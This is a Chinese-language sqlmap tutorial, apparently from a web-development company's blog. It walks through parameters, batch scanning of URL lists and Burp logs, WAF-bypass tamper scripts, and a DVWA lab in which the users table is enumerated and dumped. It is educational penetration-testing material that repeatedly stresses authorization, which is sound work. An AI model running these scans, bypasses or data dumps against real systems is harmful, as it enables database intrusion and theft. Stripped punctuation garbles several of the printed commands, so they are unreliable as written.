ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

sqlmap实战指南:从安装配置到批量扫描与数据提取

sqlmap实战指南:从安装配置到批量扫描与数据提取 最近在配合做一批存量系统的安全验证SQL注入这块绕不开sqlmap。这个工具我用了很多年几乎每个授权测试项目都会用到不管是验证漏洞还是做数据提取它都是效率和准确率最平衡的选择。这篇内容我准备用一个本地靶场环境把sqlmap从安装、核心参数、批量扫描方案再到实战落地完完整整过一遍看完你基本能直接上手处理大部分SQL注入测试场景。老规矩所有操作都在授权范围内进行靶机环境演示不要对未授权目标做任何测试。1. 为什么说sqlmap是SQL注入检测的标配工具1.1 SQL注入检测的场景与sqlmap的定位SQL注入的本质是用户输入被拼进SQL语句执行导致查询逻辑被篡改。它可能出现在登录框、搜索框、参数ID、排序字段、Cookie等几乎任何与后端数据交互的地方。sqlmap的价值在于把这个检测和利用过程自动化了支持MySQL、Oracle、PostgreSQL、SQL Server等主流数据库也能覆盖布尔盲注、时间盲注、报错注入、联合注入、堆叠注入、DNSLog注入等多种类型。一次探测基本上能确认注入存在、绕过方式、可利用程度到数据提取整条链路。这也是为什么批量扫描后台的工具这一类关键词老能看到sqlmap。真正到做渗透测试项目时如果目标站点数量大、参数多手工拼SQL语句是不现实的sqlmap加脚本化批量跑是目前最实用的路子。之前有人问我CTF里那些SQL注入题怎么解像ctfshow、n1book、ctfhub上的入门题很多底层逻辑就是sqlmap自动化探测的那一套先跑一轮工具再手工细看过滤规则比自己从零开始猜SQL语句快得多。1.2 环境准备靶场、Python版本、sqlmap安装本地至少要有一个可控的靶场环境。我常用的是DVWA和SQLi-LabsPikachu也行。DVWA的SQL Injection模块本身就是经典练手场景安全级别选low能还原最原始的注入场景。实际做安全测试和CTF题目有个共性很多题目表面花哨底层还是那几样注入方式工具能解决80%的常规问题剩下的20%才考验手工能力。sqlmap的安装有三种常见方式。第一种是直接从GitHub仓库clone源码进入目录后用python sqlmap.py运行。第二种是通过pip安装安装后直接在命令行输入sqlmap。第三种是直接下载官方release包解压用。我自己习惯用GitHub方式因为可以随时拉更新规则和payload更新对漏洞检测结果影响很大。装好之后输入sqlmap --version验证一下能正常显示版本号就说明环境没问题。注意老版本的sqlmap在Python 3.11以上有一些兼容问题如果启动时报错优先升级到最新版本别在旧版上浪费时间。2. sqlmap核心参数拆解从探测到利用2.1 目标与请求体参数怎么给sqlmap的常用参数核心就分三类目标参数、请求参数、注入探测参数。目标参数就是-u指定目标URLPOST请求用--data带上请求体如果后端接口是JSON通常先拿Burp抓包把请求体复制出来再用--data{key:value}的形式传入。有个技巧是浏览器开发者工具里Copy as cURL复制出来的命令可以用在线工具直接转成sqlmap参数省去手动整理headers的时间。需要登录或带会话的用--cookie带上会话ID很多时候后台系统还会校验Referer或User-Agent这时用--headersReferer: http://xxx和--random-agent就行。实测下来很多系统不设置User-Agent会直接报错加个真实浏览器头能少很多麻烦。有人问过给ajax请求参数赋值怎么处理其实在sqlmap里就是处理--data的问题。AJAX请求一般参数都在请求体里而且很多是JSON格式你只要把请求体原样复制进去再结合--headers把Content-Type改成application/jsonsqlmap照样能跑。场景构造方式GET请求-u http://target/page.php?id1POST表单-u http://target/login.php --datauseradminpwd123JSON接口-u http://target/api --data{user:admin} --headersContent-Type: application/json带Cookie鉴权-u http://target/id.php --cookiePHPSESSIDabcd --level32.2 注入等级与风险等级怎么取舍--level是sqlmap里最容易踩坑又最容易出效果的参数。level的取值范围是1到5数值越大注入测试点和payload数量越多。默认level1时一般只测GET和POST参数level2时会加入Cookie监测level3会加入User-Agent和Referer监测再往上level4和5还会测一些稀奇古怪的注入点速度会慢很多。所以我的习惯是先从level1开始探测没结果再慢慢升而不是一上来就level5。因为你面对的可能是几十个目标、几百个参数盲目拉高level会让扫描时间爆炸。--risk是另一个影响探测深度的参数取值范围1到3。risk越高使用的payload激进程度越高比如时间盲注和堆叠查询这类payload在实际请求中可能产生写数据、删数据的副作用所以默认是1。测试授权系统时如果不完全确定系统数据重要性不要乱开risk3。很多时候探测SQL注入存在性level1加risk1就够用了真正需要拉高level和risk的场景是初步扫描无果后对单个重点目标做深挖。还有一点顺便提一下sql注入万能密码绕过这类登录绕过其实本质是用or11这类payload改变查询逻辑。sqlmap在进行登录框注入测试时也会尝试类似的payload你不需要手写它会根据目标响应自动判断哪种方式能绕过登录。2.3 数据提取全流程从--dbs到--dump数据提取参数是所有SQL注入测试里最关心的部分。sqlmap给定一个注入点提数据的思路是先拿库名再拿表名再拿列名最后拿数据每一步都是一条命令。获取所有数据库名的经典方式就是--dbssqlmap -u http://target/?id1 --dbs --batch这条命令跑出来会显示目标系统上所有数据库名比如mysql、information_schema、dvwa这些。然后指定一个库拿表名sqlmap -u http://target/?id1 -D dvwa --tables --batch再指定表拿列名sqlmap -u http://target/?id1 -D dvwa -T users --columns --batch最后导出数据sqlmap -u http://target/?id1 -D dvwa -T users --dump --batch有人会问为什么不能一条命令直接--dump-all因为如果系统库的表特别多跑起来非常慢而且就算你把运维库、系统库都导出来了里面大量数据也不是你需要的还容易造成目标数据库压力过大。我的习惯是先--dbs确认目标再指定库和表去提取把影响范围控制到最小。--batch参数是批量扫描时必加的它自动回答所有交互问题默认使用默认策略避免进程卡在do you want to continue?这类提示上。配合--threads提升并发数可以在数据提取时明显加速但建议控制在10以内目标服务器扛不扛得住是另一回事。另外把--flush-session和--fresh-queries记住重复测试时用来清理缓存和强制新查询避免拿到历史脏数据。3. 批量扫描方案从单点到全局3.1 方案一利用Burp Suite日志批量扫描单点检测弄明白了接下来的问题是几十个站点、几百个URL怎么批量跑我常用的方式有三种按场景选。第一种是利用Burp Suite日志。日常渗透测试过程中Burp会记录所有经过代理的HTTP请求可以把这些请求导出为日志文件。然后写一个简单脚本从日志里把URL、POST数据、请求方法、Cookie提取出来再逐个交给sqlmap去跑。这种方式的优点是覆盖面广所有经过Burp的请求都能被纳入测试缺点是噪声很大需要自己写脚本处理日志格式。脚本大致是这样读日志文件按行正则匹配出method、path、query和body拼接完整URL后执行sqlmap。这里要注意去重同一个接口带不同参数的请求很多建议以URL参数名集合为key去重。还有一点别一条请求跑一个sqlmap进程还不限速容易把目标搞挂加个随机延时sleep 2-5秒比较稳。import re, subprocess, time, random log_file burp.log seen set() for line in open(log_file): m re.search(r(GET|POST) (http[^]) HTTP, line) if not m: continue method, url m.group(1), m.group(2) key re.sub(r([^]), 1, url) # 参数值替换为1做去重 if key in seen: continue seen.add(key) cmd fsqlmap -u \{url}\ --batch --random-agent subprocess.Popen(cmd, shellTrue) time.sleep(random.uniform(2, 5))3.2 方案二基于URL列表的批量扫描脚本第二种是针对已知URL列表和后台路径的批量扫描。比如你手里有一份目标URL清单或者要覆盖常见后台路径比如admin.php、login.php、user.php这类直接用for循环套sqlmap就行。这里给一个bash例子while read url; do sqlmap -u $url --batch --random-agent --level1 --risk1 --output-dir/data/sqlmap/ done urls.txt这条脚本看着简单但有三个坑要注意。第一一定要加--batch不加的话很多交互问题会卡住整个循环。第二用--output-dir指定输出目录方便事后根据目标查看结果sqlmap默认的输出目录在~/.local/share/sqlmap/output批量跑完很难翻。第三如果目标有WAF或频率限制建议加--delay1或--safe-url之类控制请求频率。另外批量扫描后台的工具这类需求本质是把路径字典和sqlmap组合起来。可以把后台路径做成字典配合一个已授权的目标主机列表做横向批量覆盖原理和我们平时用dirsearch扫后台路径一样只不过dirsearch找的是文件这里找的是注入点。3.3 方案三通过代理模式配合其他扫描器复核第三种是用代理模式配合其他扫描器复核。sqlmap有一个--proxy参数可以把请求转发到Burp或者mitmproxy上这样你能实时看到sqlmap发出的每一个payload排查问题时特别好用。在实际项目中我经常先用xray、AWVS这类扫描器做一轮全站漏洞扫描拿到一批疑似SQL注入的风险点然后用sqlmap对单个风险点做二次确认。因为扫描器会产生很多误报sqlmap本质上是在做验证利用把误报过滤掉留下的基本都是真实存在的问题。这里要区分清楚xray/AWVS负责发现sqlmap负责确认。两者不是替代关系而是上下游配合。流程大约是资产收集 - 运行扫描器 - 收集告警URL - 提取URL参数 - 写脚本批量调用sqlmap - 人工验证结果。这也是团队协作时比较标准的一条批量漏扫链路。方案适用场景优点缺点Burp日志手动测试过程留资多覆盖面全日志噪声大需清洗URL列表脚本已有目标清单简单直接需要目标URL来源扫描器代理复核大规模资产误报率低需要多工具配合4. 实战案例从探测到数据提取4.1 案例环境与前置准备案例环境我选DVWA的SQL Injection模块安全级别low。这个靶场在本地默认监听80端口访问之前需要用admin登录登进去之后拿到PHPSESSID和securitylow两个关键Cookie。low级别下的SQL注入不设任何过滤代码直接把用户输入拼接进SQL语句很适合演示sqlmap全流程。开始之前再强调一次这里所有命令都只针对本机靶场大家练习时也建议全部丢到本地虚拟机里跑不要对任何未授权目标执行类似命令。不管你是准备做安全测试、CTF解题还是学习漏洞原理本地靶场都能满足需求。4.2 命令串联与执行过程第一步确认注入点存在。命令带上cookie加--batch自动应答sqlmap -u http://127.0.0.1/DVWA/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxx; securitylow --batch跑的过程中sqlmap会先测试是否存在WAF然后逐个payload测试当输出里出现parameter id is vulnerable就代表确认注入点了同时会标明注入类型是boolean-based blind、UNION query还是error-based。第二步拿数据库名sqlmap -u http://127.0.0.1/DVWA/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxx; securitylow --dbs --batch输出会列出数据库名列表在DVWA场景下能看到dvwa、information_schema、mysql等。第三步指定dvwa库拿表名sqlmap -u http://127.0.0.1/DVWA/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxx; securitylow -D dvwa --tables --batch能看到users和guestbook之类的表。第四步继续指定users表拿字段sqlmap -u http://127.0.0.1/DVWA/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxx; securitylow -D dvwa -T users --columns --batch第五步最终dump出来sqlmap -u http://127.0.0.1/DVWA/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxx; securitylow -D dvwa -T users --dump --batch四步走完目标库的数据已经导出来了。整个过程不需要手工拼接SQL语句sqlmap会自动选择合适的技术和payload。实际项目中拿库名、表名、dump数据的套路就是这套只是命令中间多了一些前缀参数。这里的Cookie要替换成你自己登录靶场后抓到的真实值。4.3 结果解读与安全建议拿到注入结果以后别开心太早。真正有价值的是后续的确认和修复建议。比如DVWA low级别下的注入点根本原因就是代码把用户输入直接拼进SQL语句$id $_REQUEST[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;;修复方式也很直白用参数化查询、对输入做类型校验比如id强制intval数据库账号做最小权限设计。从我的经验看sqlmap在授权测试中的角色更像是高效确认器它能把漏洞是否存在、影响范围多大、数据是否可被提取这些问题快速回答清楚帮助甲方理解风险等级。报告里比起贴一大堆payload更关键是让开发知道漏洞位置、根因以及验证方式。实战中还容易忽略一个点发现SQL注入之后一定要先保存现场把请求包、sqlmap命令、输出结果的关键片段归档写报告时这些都是证据。然后尽快按修复优先级排期而不是继续无限往深处提数据。5. 常见问题与排查技巧实录5.1 连接失败与访问控制怎么排查很多新手第一次跑sqlmap碰到的第一个报错就是Connection timed out或者Unable to connect to the target URL。常见原因有三个目标不可达、请求被反爬拦截、SSL证书不匹配。先用curl或浏览器确认目标能正常访问如果curl也连不上先解决网络问题能连上但sqlmap连不上多半是User-Agent被拦截加--random-agent就行碰到HTTPS证书问题加--force-ssl或--check-tls试试。报错现象可能原因解决方案Connection timed out网络不可达/被限制检查连通性、加--timeout30SSL error证书不受信加--force-ssl或--check-tls411 Length RequiredPOST请求头不全指定--headers完整请求头Too Many Requests触发限流加--delay15.2 登录态失效与Cookie问题登录态失效是实战里最频繁的问题。系统一般分两种情况一种是Cookie有效期很短sqlmap跑一会就403了另一种是请求需要动态token比如X-CSRF-Token每次请求都要重新生成。第一种情况可以重新登录刷新Cookie再跑第二种情况用--eval参数动态更新请求参数比如从响应里提取token再填到请求头。sqlmap -u http://target/api --dataid1 --evalimport re; token re.search(rinput.*name\token\.*value\(.*?)\, r.content).group(1); headers[X-CSRF-Token] token这里面的--eval参数非常灵活它会在每次http请求前执行一段Python代码你可以用它处理加密参数、动态token、时间戳等各种场景。之前热搜里有人问的sql注入漏洞测试(参数加密)核心解法就落在这个--eval上。另外一个容易被忽视的点--level3以上的sqlmap会去检测Cookie参数本身是否存在注入。如果会话在测试中途失效sqlmap可能会把Cookie里的注入检测误判为无注入所以批量测试长耗时任务时最好在脚本里定期检查响应状态码发现401、403就及时杀掉当前进程重新登录。5.3 参数加密与WAF防护绕过参数加密和过滤绕过的场景是进阶玩家问得比较多的。参数加密的常见做法是Base64编码。系统在前端把参数value做Base64后传给后端后端解码拼SQL。如果你直接用sqlmap去跑加密后的参数payload经过Base64编码再解密后可能会变形或者根本解不出来。解决办法是用--eval参数在每次请求前对参数值做处理--evalimport base64; value base64.b64encode(value.encode()).decode()这样sqlmap先生成原始payload再通过--eval里的代码把payload编码后再发送后端解密后看到的就是正常SQL注入payload。如果是sql注入双写绕过怎么用这类问题它的原理是把被过滤的关键字重复写一遍让过滤逻辑把中间部分移除后剩下的仍然构成合法语句。例如系统把select字符串替换为空你传seselectlect经过替换后变成了select。sqlmap里大多数此类技巧已经被内置到tamper脚本里了比如--tamperspace2comment把空格换成内联注释/**/、--tampermodsecurityversioned使用版本化注释绕过、--tamperbetween把等号换成BETWEEN等等。具体选哪些脚本取决于目标过滤了什么不要盲目堆一堆tamper。payload一旦过长反而更容易被拦截或造成请求异常。我的做法是先在Burp里手工试探目标过滤规则确认过滤了哪些字符再去sqlmap --list-tamper里匹配对应的脚本跑出来更稳。这比网上看到的所谓一条命令绕过一切要可靠得多。5.4 批量扫描时的性能与超时问题批量扫描的时候最怕的不是没结果而是大批量请求把目标搞出问题、或者本地进程堆积导致内存溢出。控制参数就那几个--threads控制并发连接数--delay控制每个请求之间的间隔--timeout控制单次请求的等待时间--retries控制重试次数。批量扫大量目标时我的建议是threads不要超过5delay至少在1秒以上。另外把sqlmap的日志输出重定向到文件比如--log-filescan.log既能留证也方便事后复盘。还有一个很容易忽略的问题批量扫描后会产生大量结果文件建议每个目标一个单独输出目录--output-dir/data/sqlmap/目标域名/跑完以后按目录整理隔几天要回看某个站点的注入点信息时直接找到对应目录就行省得从一堆记录里翻。跑sqlmap这几年我最大的体会是它不是一把梭而是一个需要理解目标的工具。参数选型要跟着场景走该怎么配置、要不要提level、用哪个tamper全靠对目标系统的判断。批量扫描前先梳理资产扫描中做好限速与日志扫描后人工复核这套流程比单纯敲命令重要得多。最后再叮嘱一句所有检测都要在你有明确授权的范围内进行靶场和CTF才是练习SQL注入最佳的地方。
返回列表